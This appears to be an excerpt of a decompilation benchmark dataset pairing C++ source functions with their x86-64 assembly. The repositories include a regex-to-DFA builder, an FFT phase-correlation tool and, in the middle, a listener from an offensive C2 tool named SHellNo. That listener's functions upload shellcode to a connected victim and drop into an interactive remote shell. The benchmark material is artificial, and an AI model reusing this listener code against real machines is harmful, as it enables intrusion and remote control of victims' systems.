LLM4Binary/decompile-bench-makefile huggingface dataset:
// File: /workspace/github_cpp_makefile_star2_O2/ghallak[P]regex-to-dfa/src/./RegexTree.h
// Function: RegexTree::UnionNode::UnionNode(std::unique_ptr<RegexTree::Node, std::default_delete<RegexTree::Node>>, std::unique_ptr<RegexTree::Node, std::default_delete<RegexTree::Node>>)
explicit UnionNode(std::unique_ptr<Node> l, std::unique_ptr<Node> r)
        : left(std::move(l)), right(std::move(r)) {
      firstpos.insert(left->firstpos.cbegin(), left->firstpos.cend());
      firstpos.insert(right->firstpos.cbegin(), right->firstpos.cend());

      lastpos.insert(left->lastpos.cbegin(), left->lastpos.cend());
      lastpos.insert(right->lastpos.cbegin(), right->lastpos.cend());

      nullable = left->nullable || right->nullable;
    }

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
movq %rdx, %r15
movq %rsi, %r12
movq %rdi, %rbx
callq 0x50d8
leaq 0x4980(%rip), %rax      # 0x9d40
movq %rax, (%rbx)
leaq 0x80(%rbx), %r14
movq (%r12), %rax
movq %rax, 0x80(%rbx)
andq $0x0, (%r12)
movq (%r15), %rax
movq %rax, 0x88(%rbx)
andq $0x0, (%r15)
leaq 0x88(%rbx), %r15
leaq 0x8(%rbx), %r12
movq 0x80(%rbx), %rax
movq 0x18(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
movq (%r15), %rax
movq 0x18(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
leaq 0x40(%rbx), %r12
movq 0x80(%rbx), %rax
movq 0x50(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
movq (%r15), %rax
movq 0x50(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
movq (%r14), %rcx
movb $0x1, %al
cmpb $0x0, 0x78(%rcx)
jne 0x5454
movq (%r15), %rax
movb 0x78(%rax), %al
movb %al, 0x78(%rbx)
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
movq %rax, %r12
movq %r15, %rdi
callq 0x430a
movq %r14, %rdi
callq 0x430a
movq %rbx, %rdi
callq 0x4c02
movq %r12, %rdi
callq 0x21e0
nop
// File: /workspace/github_cpp_makefile_star2_O2/ghallak[P]regex-to-dfa/src/./RegexTree.h
// Function: RegexTree::ConcatNode::ConcatNode(std::unique_ptr<RegexTree::Node, std::default_delete<RegexTree::Node>>, std::unique_ptr<RegexTree::Node, std::default_delete<RegexTree::Node>>)
explicit ConcatNode(std::unique_ptr<Node> l, std::unique_ptr<Node> r)
        : left(std::move(l)), right(std::move(r)) {
      firstpos.insert(left->firstpos.cbegin(), left->firstpos.cend());
      if (left->nullable) {
        firstpos.insert(right->firstpos.cbegin(), right->firstpos.cend());
      }

      lastpos.insert(right->lastpos.cbegin(), right->lastpos.cend());
      if (right->nullable) {
        lastpos.insert(left->lastpos.cbegin(), left->lastpos.cend());
      }

      nullable = left->nullable && right->nullable;
    }

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
movq %rdx, %r15
movq %rsi, %r12
movq %rdi, %rbx
callq 0x50d8
leaq 0x4542(%rip), %rax      # 0x9d80
movq %rax, (%rbx)
leaq 0x80(%rbx), %r14
movq (%r12), %rax
movq %rax, 0x80(%rbx)
andq $0x0, (%r12)
movq (%r15), %rax
movq %rax, 0x88(%rbx)
andq $0x0, (%r15)
leaq 0x88(%rbx), %r15
leaq 0x8(%rbx), %r12
movq 0x80(%rbx), %rax
movq 0x18(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
movq (%r14), %rax
cmpb $0x1, 0x78(%rax)
jne 0x58a0
movq (%r15), %rax
movq 0x18(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
leaq 0x40(%rbx), %r12
movq 0x88(%rbx), %rax
movq 0x50(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
movq (%r15), %rax
cmpb $0x1, 0x78(%rax)
jne 0x58d3
movq (%r14), %rax
movq 0x50(%rax), %rsi
movq %r12, %rdi
xorl %edx, %edx
callq 0x369c
movq (%r14), %rax
cmpb $0x1, 0x78(%rax)
jne 0x58e4
movq (%r15), %rax
movb 0x78(%rax), %al
jmp 0x58e6
xorl %eax, %eax
movb %al, 0x78(%rbx)
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
movq %rax, %r12
movq %r15, %rdi
callq 0x430a
movq %r14, %rdi
callq 0x430a
movq %rbx, %rdi
callq 0x4c02
movq %r12, %rdi
callq 0x21e0
nop
// File: /workspace/github_cpp_makefile_star2_O2/markondej[P]phase_correl/phase_correl.cpp
// Function: main
GrayscaleImage(std::size_t width, std::size_t height, unsigned char fill) {
        data = new unsigned char[width * height];
        memset(data, fill, sizeof(unsigned char) * width * height);
        this->width = width;
        this->height = height;
    }

// Assembly:
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $0x38, %rsp
movl $0x8000, %edi           # imm = 0x8000
callq 0x1030
leaq 0x20(%rsp), %rbx
movq %rax, 0x10(%rbx)
movl $0x8000, %edx           # imm = 0x8000
movq %rax, %rdi
xorl %esi, %esi
callq 0x10c0
movl $0x100, %r15d           # imm = 0x100
movq %r15, (%rbx)
movl $0x80, %r12d
movq %r12, 0x8(%rbx)
movl $0x8000, %edi           # imm = 0x8000
callq 0x1030
leaq 0x8(%rsp), %r14
movq %rax, 0x10(%r14)
movl $0x8000, %edx           # imm = 0x8000
movq %rax, %rdi
movl $0xff, %esi
callq 0x10c0
movq %r15, (%r14)
movq %r12, 0x8(%r14)
pushq $0x10
popq %rsi
pushq $0x20
popq %rdx
pushq $0x3c
popq %r15
movq %rbx, %rdi
movq %r15, %rcx
movq %r15, %r8
movl $0x80, %r9d
callq 0x1406
pushq $0x8
popq %rsi
pushq $0x28
popq %rdx
pushq $0x10
popq %r9
movq %r14, %rdi
movq %r15, %rcx
movq %r15, %r8
callq 0x1406
leaq 0x4(%rsp), %r15
movq %rsp, %r12
movq %rbx, %rdi
movq %r14, %rsi
movq %r15, %rdx
movq %r12, %rcx
callq 0x143e
movq 0x3c22(%rip), %rdi      # 0x4fd0
leaq 0x1cb3(%rip), %rsi      # 0x3068
callq 0x1120
movl (%r15), %esi
movq %rax, %rdi
callq 0x1190
leaq 0x1cb0(%rip), %rsi      # 0x307c
movq %rax, %rdi
callq 0x1120
movl (%r12), %esi
movq %rax, %rdi
callq 0x1190
leaq 0x1c98(%rip), %rsi      # 0x307f
movq %rax, %rdi
callq 0x1120
movq %rax, %rdi
callq 0x1090
xorl %eax, %eax
addq $0x38, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/markondej[P]phase_correl/phase_correl.cpp
// Function: GrayscaleImage::DrawRectangle(unsigned long, unsigned long, unsigned long, unsigned long, unsigned char)
void DrawRectangle(std::size_t x, std::size_t y, std::size_t width, std::size_t height, unsigned char fill) {
        for (std::size_t j = y; j < y + height; j++) {
            for (std::size_t i = x; i < x + width; i++) {
                if ((i < this->width) && (j < this->height)) {
                    data[i + j * this->width] = fill;
                }
            }
        }
    }

// Assembly:
addq %rdx, %r8
addq %rsi, %rcx
movq %rsi, %rax
cmpq %r8, %rdx
jb 0x1433
jmp 0x143d
movq (%rdi), %r10
cmpq %r10, %rax
jae 0x1430
cmpq 0x8(%rdi), %rdx
jae 0x1430
imulq %rdx, %r10
addq 0x10(%rdi), %r10
movb %r9b, (%rax,%r10)
incq %rax
cmpq %rcx, %rax
jb 0x1416
incq %rdx
jmp 0x140c
retq
// File: /workspace/github_cpp_makefile_star2_O2/markondej[P]phase_correl/phase_correl.cpp
// Function: PhaseCorrelation::ComputeNormalized(std::complex<double> const&, std::complex<double> const&, std::complex<double>&)
static void ComputeNormalized(const std::complex<double> &input1, const std::complex<double> &input2, std::complex<double> &output) {
        double a1 = (input1.imag() != 0.0) ? ((input1.real() != 0.0) ? atan(input1.imag() / input1.real()) : std::copysign(M_PI, input1.imag()) / 2.0) : 0.0;
        if (input1.real() < 0.0) {
            a1 = std::copysign(M_PI, input1.imag()) + a1;
        }

        double a2 = (input2.imag() != 0.0) ? ((input2.real() != 0.0) ? atan(input2.imag() / input2.real()) : std::copysign(M_PI, input2.imag()) / 2.0) : 0.0;
        if (input2.real() < 0.0) {
            a2 = std::copysign(M_PI, input2.imag()) + a2;
        }

        output.real(cos(a1 - a2));
        output.imag(sin(a1 - a2));
    }

// Assembly:
pushq %rbp
pushq %r15
pushq %r14
pushq %rbx
subq $0x28, %rsp
movq %rdx, %rbx
movq %rsi, %r14
movq %rdi, %r15
movsd 0x8(%rdi), %xmm4
xorpd %xmm1, %xmm1
ucomisd %xmm1, %xmm4
jne 0x17ba
jnp 0x17e4
movsd (%r15), %xmm0
ucomisd %xmm1, %xmm0
jne 0x17c7
jnp 0x17f3
divsd %xmm0, %xmm4
movapd %xmm4, %xmm0
callq 0x10f0
xorpd %xmm1, %xmm1
movapd %xmm0, %xmm3
movsd 0x8(%r15), %xmm4
jmp 0x17e8
xorpd %xmm3, %xmm3
ucomisd (%r15), %xmm1
seta %bpl
jmp 0x1811
movapd 0x1815(%rip), %xmm3     # 0x3010
andpd %xmm4, %xmm3
orpd 0x1819(%rip), %xmm3     # 0x3020
mulsd 0x1841(%rip), %xmm3     # 0x3050
xorl %ebp, %ebp
movsd 0x8(%r14), %xmm0
xorpd %xmm2, %xmm2
ucomisd %xmm2, %xmm0
jne 0x1823
jnp 0x185d
movsd (%r14), %xmm1
ucomisd %xmm2, %xmm1
jne 0x1830
jnp 0x1877
divsd %xmm1, %xmm0
movapd %xmm3, (%rsp)
movapd %xmm4, 0x10(%rsp)
callq 0x10f0
xorpd %xmm2, %xmm2
movapd 0x10(%rsp), %xmm4
movapd (%rsp), %xmm3
movapd %xmm0, %xmm1
movsd 0x8(%r14), %xmm0
ucomisd (%r14), %xmm2
seta %al
andpd 0x17a3(%rip), %xmm0     # 0x3010
orpd 0x17ab(%rip), %xmm0     # 0x3020
jmp 0x1895
andpd 0x1791(%rip), %xmm0     # 0x3010
orpd 0x1799(%rip), %xmm0     # 0x3020
movapd %xmm0, %xmm1
mulsd 0x17bd(%rip), %xmm1     # 0x3050
xorl %eax, %eax
testb %bpl, %bpl
je 0x18ae
andpd 0x176e(%rip), %xmm4     # 0x3010
orpd 0x1776(%rip), %xmm4     # 0x3020
addsd %xmm4, %xmm3
testb %al, %al
je 0x18b6
addsd %xmm0, %xmm1
subsd %xmm1, %xmm3
movapd %xmm3, (%rsp)
movapd %xmm3, %xmm0
callq 0x11b0
movsd %xmm0, (%rbx)
movaps (%rsp), %xmm0
callq 0x1040
movsd %xmm0, 0x8(%rbx)
addq $0x28, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
nop
// File: /workspace/github_cpp_makefile_star2_O2/markondej[P]phase_correl/phase_correl.cpp
// Function: PhaseCorrelation::Dit2FFT(std::vector<std::complex<double>, std::allocator<std::complex<double>>> const&, std::vector<std::complex<double>, std::allocator<std::complex<double>>>&, bool)
static void Dit2FFT(const std::vector<std::complex<double>> &input, std::vector<std::complex<double>> &output, bool inverse = false) {
        std::size_t stride = 1, size = input.size();
        auto offset = GenInputOrder(size >> 1);
        output.resize(size);

        while (size > 2) {
            stride <<= 1;
            size >>= 1;
        }

        for (std::size_t i = 0; i < stride; i++) {
            Radix2FFT(&input[offset[i]], &output[i * 2], stride);
        }

        while (stride > 1) {
            stride >>= 1;
            size <<= 1;
            for (std::size_t i = 0; i < stride; i++) {
                Sum2FFT(&output[i * size], &output[i * size], size >> 1, inverse);
            }
        }

        if (inverse) {
            for (std::size_t i = 0; i < size; i++) {
                output[i] /= static_cast<double>(size);
            }
        }
    }

// Assembly:
pushq %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x38, %rsp
movl %edx, 0xc(%rsp)
movq %rdi, %r12
movq 0x8(%rdi), %rbx
subq (%rdi), %rbx
movq %rsi, %r14
sarq $0x4, %rbx
movq %rbx, %rsi
shrq %rsi
leaq 0x20(%rsp), %rdi
callq 0x1e10
movq %r14, %rdi
movq %rbx, %rsi
callq 0x16d8
pushq $0x1
popq %r15
cmpq $0x2, %rbx
jbe 0x1d0a
addq %r15, %r15
shrq %rbx
jmp 0x1cfc
xorl %r13d, %r13d
xorl %ebp, %ebp
cmpq %rbp, %r15
je 0x1d3c
movq 0x20(%rsp), %rax
movq (%rax,%rbp,8), %rdi
shlq $0x4, %rdi
addq (%r12), %rdi
movq (%r14), %rsi
addq %r13, %rsi
movq %r15, %rdx
callq 0x1e9e
incq %rbp
addq $0x20, %r13
jmp 0x1d0f
movzbl 0xc(%rsp), %r12d
cmpq $0x2, %r15
jb 0x1d92
shrq %r15
leaq (%rbx,%rbx), %rax
movq %rax, 0x10(%rsp)
movq %rbx, %r13
btrq $0x3f, %r13
shlq $0x5, %rbx
xorl %ebp, %ebp
movq %r15, 0x18(%rsp)
subq $0x1, %r15
jb 0x1d86
movq (%r14), %rdi
addq %rbp, %rdi
movq %rdi, %rsi
movq %r13, %rdx
movl %r12d, %ecx
callq 0x1ede
addq %rbx, %rbp
jmp 0x1d67
movq 0x10(%rsp), %rbx
movq 0x18(%rsp), %r15
jmp 0x1d42
cmpb $0x0, 0xc(%rsp)
je 0x1ddd
movq %rbx, %xmm0
punpckldq 0x128a(%rip), %xmm0 # xmm0 = xmm0[0],mem[0],xmm0[1],mem[1]
subpd 0x1292(%rip), %xmm0     # 0x3040
movapd %xmm0, %xmm1
unpcklpd %xmm0, %xmm1            # xmm1 = xmm1[0],xmm0[0]
unpckhpd %xmm0, %xmm0            # xmm0 = xmm0[1,1]
addpd %xmm1, %xmm0
xorl %eax, %eax
subq $0x1, %rbx
jb 0x1ddd
movq (%r14), %rcx
movupd (%rcx,%rax), %xmm1
divpd %xmm0, %xmm1
movupd %xmm1, (%rcx,%rax)
addq $0x10, %rax
jmp 0x1dc0
leaq 0x20(%rsp), %rdi
callq 0x21d4
addq $0x38, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
jmp 0x1dfa
jmp 0x1dfa
movq %rax, %rbx
leaq 0x20(%rsp), %rdi
callq 0x21d4
movq %rbx, %rdi
callq 0x11a0
nop
// File: /workspace/github_cpp_makefile_star2_O2/markondej[P]phase_correl/phase_correl.cpp
// Function: PhaseCorrelation::GenInputOrder(unsigned long)
static std::vector<std::size_t> GenInputOrder(std::size_t size) {
        std::size_t stride = 1;
        std::vector<std::size_t> offset;
        offset.resize(size);

        std::memset(offset.data(), 0xff, sizeof(std::size_t) * size);
        offset[0] = 0;

        for (std::size_t step = size >> 1; step > 0; step >>= 1) {
            std::size_t base = 0;
            for (std::size_t i = 0; i < size; i += step) {
                if (offset[i] != SIZE_MAX) {
                    base = offset[i];
                } else {
                    offset[i] = base + stride;
                }
            }
            stride <<= 1;
        }

        return offset;
    }

// Assembly:
pushq %r14
pushq %rbx
pushq %rax
movq %rsi, %r14
movq %rdi, %rbx
xorps %xmm0, %xmm0
movups %xmm0, (%rdi)
andq $0x0, 0x10(%rdi)
callq 0x1ff6
movq (%rbx), %rdi
leaq (,%r14,8), %rdx
movl $0xff, %esi
callq 0x10c0
movq (%rbx), %rax
andq $0x0, (%rax)
pushq $0x1
popq %rcx
movq %r14, %rdx
cmpq $0x2, %rdx
jb 0x1e80
shrq %rdx
xorl %edi, %edi
xorl %esi, %esi
cmpq %r14, %rsi
jae 0x1e7b
movq (%rax,%rsi,8), %r8
cmpq $-0x1, %r8
jne 0x1e73
leaq (%rdi,%rcx), %r8
movq %r8, (%rax,%rsi,8)
movq %rdi, %r8
addq %rdx, %rsi
movq %r8, %rdi
jmp 0x1e59
addq %rcx, %rcx
jmp 0x1e4c
movq %rbx, %rax
addq $0x8, %rsp
popq %rbx
popq %r14
retq
movq %rax, %r14
movq %rbx, %rdi
callq 0x21d4
movq %r14, %rdi
callq 0x11a0
// File: /workspace/github_cpp_makefile_star2_O2/markondej[P]phase_correl/phase_correl.cpp
// Function: PhaseCorrelation::Sum2FFT(std::complex<double> const*, std::complex<double>*, unsigned long, bool)
static void Sum2FFT(const std::complex<double> *input, std::complex<double> *output, std::size_t size, bool inverse) {
        double dfi = (inverse ? 2.0 : -2.0) * M_PI / static_cast<double>(size << 1),
            kfi = 0.0;

        for (std::size_t k = 0; k < size; k++) {
            double cosfi = cos(kfi), sinfi = sin(kfi);
            std::complex<double> temp[] = { input[k], input[k + size] };

            output[k].real(temp[0].real() + cosfi * temp[1].real() - sinfi * temp[1].imag());
            output[k].imag(temp[0].imag() + sinfi * temp[1].real() + cosfi * temp[1].imag());
            output[k + size].real(temp[0].real() - cosfi * temp[1].real() + sinfi * temp[1].imag());
            output[k + size].imag(temp[0].imag() - sinfi * temp[1].real() - cosfi * temp[1].imag());
            kfi += dfi;
        }
    }

// Assembly:
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $0x28, %rsp
movq %rdx, %rbx
movq %rsi, %r14
movq %rdi, %r15
testl %ecx, %ecx
jne 0x1f00
movsd 0x1162(%rip), %xmm2     # 0x3060
jmp 0x1f08
movsd 0x1150(%rip), %xmm2     # 0x3058
leaq (%rbx,%rbx), %rax
movq %rax, %xmm0
punpckldq 0x1117(%rip), %xmm0 # xmm0 = xmm0[0],mem[0],xmm0[1],mem[1]
subpd 0x111f(%rip), %xmm0     # 0x3040
movapd %xmm0, %xmm1
unpckhpd %xmm0, %xmm1            # xmm1 = xmm1[1],xmm0[1]
addsd %xmm0, %xmm1
divsd %xmm1, %xmm2
movq %rbx, %r12
shlq $0x4, %r12
xorpd %xmm0, %xmm0
movsd %xmm2, 0x8(%rsp)
subq $0x1, %rbx
jb 0x1fea
movsd %xmm0, (%rsp)
movsd (%rsp), %xmm0
callq 0x11b0
movaps %xmm0, 0x10(%rsp)
movsd (%rsp), %xmm0
callq 0x1040
movupd (%r15), %xmm1
movapd 0x10(%rsp), %xmm6
movapd %xmm6, %xmm2
unpcklpd %xmm0, %xmm2            # xmm2 = xmm2[0],xmm0[0]
movsd (%r15,%r12), %xmm3
unpcklpd %xmm3, %xmm3            # xmm3 = xmm3[0,0]
mulpd %xmm2, %xmm3
xorpd 0x107d(%rip), %xmm2     # 0x3010
movsd 0x8(%r15,%r12), %xmm4
movapd %xmm3, %xmm5
addpd %xmm1, %xmm5
unpcklpd %xmm2, %xmm0            # xmm0 = xmm0[0],xmm2[0]
shufpd $0x1, %xmm6, %xmm2      # xmm2 = xmm2[1],xmm6[0]
unpcklpd %xmm4, %xmm4            # xmm4 = xmm4[0,0]
mulpd %xmm4, %xmm2
addpd %xmm5, %xmm2
movupd %xmm2, (%r14)
movsd 0x8(%rsp), %xmm2
subpd %xmm3, %xmm1
mulpd %xmm0, %xmm4
movsd (%rsp), %xmm0
addpd %xmm1, %xmm4
movupd %xmm4, (%r14,%r12)
addsd %xmm2, %xmm0
addq $0x10, %r15
addq $0x10, %r14
jmp 0x1f42
addq $0x28, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
retq
// File: /workspace/github_cpp_makefile_star2_O2/JohnWoodman[P]SHellNo/listener.cpp
// Function: listener::test()
void listener::test(){
	printf("server: waiting for connections...\n");
	sin_size = sizeof their_addr;
	new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
	if (new_fd == -1) {
		cout<<"accepted error"<<endl;
	}
	cout<<"got connection"<<endl;
	status = 1;
	inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s);
	//postExploitMenu(this);

	//close(sockfd);
	//close(new_fd);
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r14
pushq %rbx
movq %rdi, %rbx
leaq 0x293d(%rip), %rdi      # 0x1515e
callq 0x55b0
leaq 0xe0(%rbx), %rdx
movl $0x80, 0xe0(%rbx)
movl 0x10(%rbx), %edi
leaq 0x60(%rbx), %r14
movq %r14, %rsi
callq 0x5140
movl %eax, 0x14(%rbx)
cmpl $-0x1, %eax
jne 0x12869
movq 0xc753(%rip), %rdi      # 0x1efa8
leaq 0x286e(%rip), %rsi      # 0x150ca
callq 0x5380
movq %rax, %rdi
callq 0x5210
movq 0xc738(%rip), %rdi      # 0x1efa8
leaq 0x2862(%rip), %rsi      # 0x150d9
callq 0x5380
movq %rax, %rdi
callq 0x5210
movl $0x1, 0x184(%rbx)
movzwl 0x60(%rbx), %edi
xorl %eax, %eax
cmpl $0x2, %edi
setne %al
leaq (%r14,%rax,4), %rsi
addq $0x4, %rsi
addq $0x188, %rbx            # imm = 0x188
pushq $0x2e
popq %rcx
movq %rbx, %rdx
popq %rbx
popq %r14
popq %rbp
jmp 0x53e0
// File: /workspace/github_cpp_makefile_star2_O2/JohnWoodman[P]SHellNo/listener.cpp
// Function: listener::injectShellcode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>)
int listener::injectShellcode(string l_path) {
	printf("Injecting Shellcode...\n");
	std::streampos filesize = 0;
	ifstream in(l_path, std::ios::binary);
	char* sendbuf = new char[1024];
	int sendbuflen = 1024;
	memset(sendbuf, '\0', sendbuflen);
	
	string cmd = "shellcode:";
	send(new_fd, cmd.c_str(), cmd.length(), 0);

	while (in.is_open()) {
		printf("File is open\n");
		in.read(sendbuf, sendbuflen);
		if (in.eof()) {
			printf("End of file\n");
			send(new_fd, sendbuf, sendbuflen, 0);
			memset(sendbuf, '\0', sendbuflen);
			in.close();
		} else {
			printf("Sending file\n");
			send(new_fd, sendbuf, sendbuflen, 0);
			memset(sendbuf, '\0', sendbuflen);
		}
	}
	printf("Finished Uploading Shellcode!\n");
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $0x238, %rsp            # imm = 0x238
movq %rsi, %r14
movq %rdi, %rbx
leaq 0x2588(%rip), %rdi      # 0x151f3
callq 0x55b0
leaq -0x258(%rbp), %rdi
pushq $0x4
popq %rdx
movq %r14, %rsi
callq 0x55f0
movl $0x400, %edi            # imm = 0x400
callq 0x5030
movq %rax, %r14
movl $0x400, %edx            # imm = 0x400
movq %rax, %rdi
xorl %esi, %esi
callq 0x5270
leaq 0x249c(%rip), %rsi      # 0x15141
leaq -0x50(%rbp), %rdi
leaq -0x29(%rbp), %rdx
callq 0x130f0
movl 0x14(%rbx), %edi
movq -0x50(%rbp), %rsi
movq -0x48(%rbp), %rdx
xorl %ecx, %ecx
callq 0x5230
leaq -0x1e0(%rbp), %r15
leaq 0x2556(%rip), %r12      # 0x15228
leaq -0x258(%rbp), %r13
movq %r15, %rdi
callq 0x50d0
testb %al, %al
je 0x12d7f
movq %r12, %rdi
callq 0x55b0
movl $0x400, %edx            # imm = 0x400
movq %r13, %rdi
movq %r14, %rsi
callq 0x5490
movq -0x258(%rbp), %rax
movq -0x18(%rax), %rax
testb $0x2, -0x238(%rbp,%rax)
jne 0x12d45
leaq 0x2518(%rip), %rdi      # 0x15235
callq 0x55b0
movl 0x14(%rbx), %edi
movl $0x400, %edx            # imm = 0x400
movq %r14, %rsi
xorl %ecx, %ecx
callq 0x5230
movl $0x400, %edx            # imm = 0x400
movq %r14, %rdi
xorl %esi, %esi
callq 0x5270
jmp 0x12cd9
leaq 0x24f6(%rip), %rdi      # 0x15242
callq 0x55b0
movl 0x14(%rbx), %edi
movl $0x400, %edx            # imm = 0x400
movq %r14, %rsi
xorl %ecx, %ecx
callq 0x5230
movl $0x400, %edx            # imm = 0x400
movq %r14, %rdi
xorl %esi, %esi
callq 0x5270
movq %r13, %rdi
callq 0x50b0
jmp 0x12cd9
leaq 0x2484(%rip), %rdi      # 0x1520a
callq 0x55b0
leaq -0x50(%rbp), %rdi
callq 0x51e0
leaq -0x258(%rbp), %rdi
callq 0x5100
xorl %eax, %eax
addq $0x238, %rsp            # imm = 0x238
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
jmp 0x12dbd
jmp 0x12db8
movq %rax, %rbx
jmp 0x12dc9
movq %rax, %rbx
leaq -0x50(%rbp), %rdi
callq 0x51e0
leaq -0x258(%rbp), %rdi
callq 0x5100
movq %rbx, %rdi
callq 0x5660
// File: /workspace/github_cpp_makefile_star2_O2/JohnWoodman[P]SHellNo/listener.cpp
// Function: printingThing(void*)
void 
*printingThing(void* in){
	int new_fd = *(int*)in;
	char* recvbuf = new char[2048];
	int n = 1000;
	int buflen = 2048;
	int byte_recv;
	do{
		byte_recv = recv(new_fd, recvbuf, buflen, 0);
		for(int i=0;i<byte_recv;i++){
			printf("%c",recvbuf[i]);
		}
		n--;
	}while(n>0);
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
movl (%rdi), %ebx
movl $0x800, %edi            # imm = 0x800
callq 0x5030
movq %rax, %r14
xorl %r12d, %r12d
movl $0x800, %edx            # imm = 0x800
movl %ebx, %edi
movq %r14, %rsi
xorl %ecx, %ecx
callq 0x5150
movq %rax, %r15
testl %r15d, %r15d
cmovlel %r12d, %r15d
xorl %r13d, %r13d
cmpq %r13, %r15
je 0x12dfd
movsbl (%r14,%r13), %edi
callq 0x5520
incq %r13
jmp 0x12e1b
nop
// File: /workspace/github_cpp_makefile_star2_O2/JohnWoodman[P]SHellNo/listener.cpp
// Function: listener::dropIntoShell()
int listener::dropIntoShell() {
	printf("Dropping into Shell...\n");

	char* sendbuf = new char[2048];
	char* recvbuf = new char[2048];
	int buflen = 2048;
	memset(sendbuf, '\0', buflen);
	memset(recvbuf, '\0', buflen);

	char cmd[] = "dropshell:";
	send(new_fd, cmd, strlen(cmd), 0);

	printf("Dropped into shell!\n");

	int bytes;
	int byte_recv;
	int n;
	pthread_attr_t attr;
	void* status;
    	// Initialize and set thread joinable
    	pthread_attr_init(&attr);
    	pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
	pthread_t t;
	pthread_create(&t,&attr,printingThing,(void*)&new_fd);

	do {
		n = 0;
		fgets(sendbuf,1024,stdin);

		n = strlen(sendbuf);
		sendbuf[n]='\n'; sendbuf[n+1]='\0';

		bytes = send(new_fd, sendbuf, strlen(sendbuf), 0);

	} while (true);
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $0x50, %rsp
movq %rdi, %rbx
leaq 0x2405(%rip), %rdi      # 0x1524e
callq 0x55b0
movl $0x800, %edi            # imm = 0x800
callq 0x5030
movq %rax, %r14
movl $0x800, %edx            # imm = 0x800
movq %rax, %rdi
xorl %esi, %esi
callq 0x5270
movabsq $0x6c656873706f7264, %rax # imm = 0x6C656873706F7264
leaq -0x38(%rbp), %r15
movq %rax, (%r15)
movl $0x3a6c6c, 0x7(%r15)    # imm = 0x3A6C6C
movl 0x14(%rbx), %r12d
addq $0x14, %rbx
movq %r15, %rdi
callq 0x51c0
movl %r12d, %edi
movq %r15, %rsi
movq %rax, %rdx
xorl %ecx, %ecx
callq 0x5230
leaq 0x23bb(%rip), %rdi      # 0x15265
callq 0x55b0
leaq -0x70(%rbp), %r15
movq %r15, %rdi
callq 0x5440
movq %r15, %rdi
xorl %esi, %esi
callq 0x54f0
leaq -0xef(%rip), %rdx       # 0x12ddd
leaq -0x28(%rbp), %rdi
movq %r15, %rsi
movq %rbx, %rcx
callq 0x56a0
movq 0xc0ae(%rip), %r12      # 0x1ef90
movq (%r12), %rdx
movq %r14, %rdi
movl $0x400, %esi            # imm = 0x400
callq 0x55d0
movq %r14, %rdi
callq 0x51c0
cltq
movb $0xa, (%r14,%rax)
incl %eax
cltq
movb $0x0, (%r14,%rax)
movl (%rbx), %r15d
movq %r14, %rdi
callq 0x51c0
movl %r15d, %edi
movq %r14, %rsi
movq %rax, %rdx
xorl %ecx, %ecx
callq 0x5230
jmp 0x12ee2
// File: /workspace/github_cpp_makefile_star2_O2/JohnWoodman[P]SHellNo/listenerManager.cpp
// Function: listenerManager::addListener(int)
int
listenerManager::addListener(int port){
    listener* newListener = new listener(port);
    listeners.push_back(newListener);
    thread t1(&listener::test,newListener);
    t1.detach();
    return 1;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
pushq %r15
pushq %r14
pushq %rbx
subq $0x28, %rsp
movl %esi, %r15d
movq %rdi, %rbx
movl $0x1c0, %edi            # imm = 0x1C0
callq 0x5390
movq %rax, %r14
movq %rax, %rdi
movl %r15d, %esi
callq 0x12626
leaq -0x28(%rbp), %r15
movq %r14, (%r15)
movq %rbx, %rdi
movq %r15, %rsi
callq 0x1372e
leaq -0xe2e(%rip), %rax      # 0x12810
leaq -0x38(%rbp), %rsi
movq %rax, (%rsi)
andq $0x0, 0x8(%rsi)
leaq -0x20(%rbp), %rbx
movq %rbx, %rdi
movq %r15, %rdx
callq 0x13752
movq %rbx, %rdi
callq 0x5640
leaq -0x20(%rbp), %rdi
callq 0x137d0
pushq $0x1
popq %rax
addq $0x28, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
movq %rax, %rbx
leaq -0x20(%rbp), %rdi
callq 0x137d0
jmp 0x13696
movq %rax, %rbx
movl $0x1c0, %esi            # imm = 0x1C0
movq %r14, %rdi
callq 0x53a0
movq %rbx, %rdi
callq 0x5660
// File: /workspace/github_cpp_makefile_star2_O2/ushitora-anqou[P]aqtfhe2/main.cpp
// Function: aqtfhe2::detail::nd_array<bool, 1000ul> (anonymous namespace)::random_bool_array<1000ul, std::random_device>(std::random_device&)
nd_array<bool, N> random_bool_array(RandomEngine& rand)
{
